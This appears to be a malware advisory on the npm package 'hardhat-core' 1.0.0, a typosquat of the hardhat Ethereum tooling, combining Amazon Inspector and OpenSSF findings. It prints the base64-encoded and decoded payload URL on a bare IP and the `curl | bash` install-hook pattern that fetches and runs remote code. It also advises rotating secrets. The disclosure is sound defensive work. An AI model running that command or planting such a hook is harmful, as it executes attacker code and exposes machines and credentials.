hardhat-core

Details

---
_-= Per source details. Do not edit below this line.=-_

## Source: amazon-inspector (bb86c79e7ed3cd429c0f28bc08e00ce020df2ec42fdda086ad8bfca99f259930)
package.json declares a postinstall script that base64-decodes the string 'aHR0cDovLzguMjE3Ljc1LjE0NzozMDAwL3BheWxvYWQ=' to the URL http://8.217.75.147:3000/payload and pipes the response into bash via `curl -s <url> | bash`. This fires automatically during `npm install`, executing attacker-controlled shell code fetched over plain HTTP from a hardcoded bare IP with no integrity verification. The package itself is empty (index.js exports `{}`) and its name impersonates the widely-used `hardhat` Ethereum tooling — the only purpose of installing it is to trigger the dropper. Three independent block signals are present: install-time curl|bash to a non-publisher bare IP, base64-obfuscated URL inside a lifecycle script, and a typosquat name with no real functionality serving as the lure.

## Source: ossf-package-analysis (37a9993551389729247a4d3b88747296e12dc861db457d83581f0e60cd4d0c30)
The OpenSSF Package Analysis project identified 'hardhat-core' @ 1.0.0 (npm) as malicious.

It is considered malicious because:

- The package executes one or more commands associated with malicious behavior.

Compromised versions (1)

• 1.0.0

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.